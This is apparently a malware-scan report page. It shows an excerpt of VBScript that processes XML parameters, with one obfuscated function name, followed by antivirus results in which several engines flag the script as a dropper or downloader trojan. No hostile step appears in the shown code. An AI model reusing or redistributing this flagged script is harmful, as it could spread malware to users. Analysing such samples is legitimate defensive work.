ProcessInput = false
Exit Function
else
dim aNode
Set aNode = currentElement.childNodes.nextNode()
if aNode.nodeType <> NODE_TEXT then
stdErr.WriteLine zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_ERR_Message") & zeGhdBKGLctimUNKLKNpORLzsWNdZxcfplOnWdLuekmofosWuUBLomaoLLLIcKKKQglTvGPRiAzLRkBcBGdozLGLHWcNGKtsLPoc("L_PUT_PARAM_NOTATTR_Message") & key
inputStr = ""
ProcessInput = false
Exit Function
end if
end if
end if
if IsNull(parameterDic(key)) then
Set tmpNode = paramXmlFile.createNode(NODE_ATTRIBUTE,ATTR_NIL_NAME,NS_XSI_URI)
tmpNode.text = "true"
currentElement.setAttributeNode tmpNode
currentElement.text = ""
else
'delete nil attribute if present
currentElement.attributes.removeNamedItem(ATTR_NIL_NAME)
currentElement.text = parameterDic(key)
end if
end If
next
putStr = paramXmlFile.xml
end if
inputStr = putStr
ProcessInput = true
end function
private function ReadStdIn()
while Not stdIn.AtEndOfStream
ReadStdIn = ReadStdIn & stdIn.ReadAll
wend
end function
'''''''''''''''''''''
' Escapes non XML chars
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
Skyhigh BehavesLike.VBS.Dropper.cp
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec MSH.Downloader
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
Cynet Clean
Kaspersky HEUR:Trojan.Script.Generic
BitDefender Clean
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Clean
Tencent Clean
TACHYON Clean
Sophos Clean
F-Secure Clean
DrWeb Clean
VIPRE Clean
TrendMicro Clean
FireEye Clean
Emsisoft Clean
huorong Clean
GData Clean
Jiangmin Clean
Varist Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Script.Dropper.vbs.2023281
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Clean
Google Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
MAX Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Clean
Panda Clean
CrowdStrike Clean
alibabacloud Clean
No IRMA results available.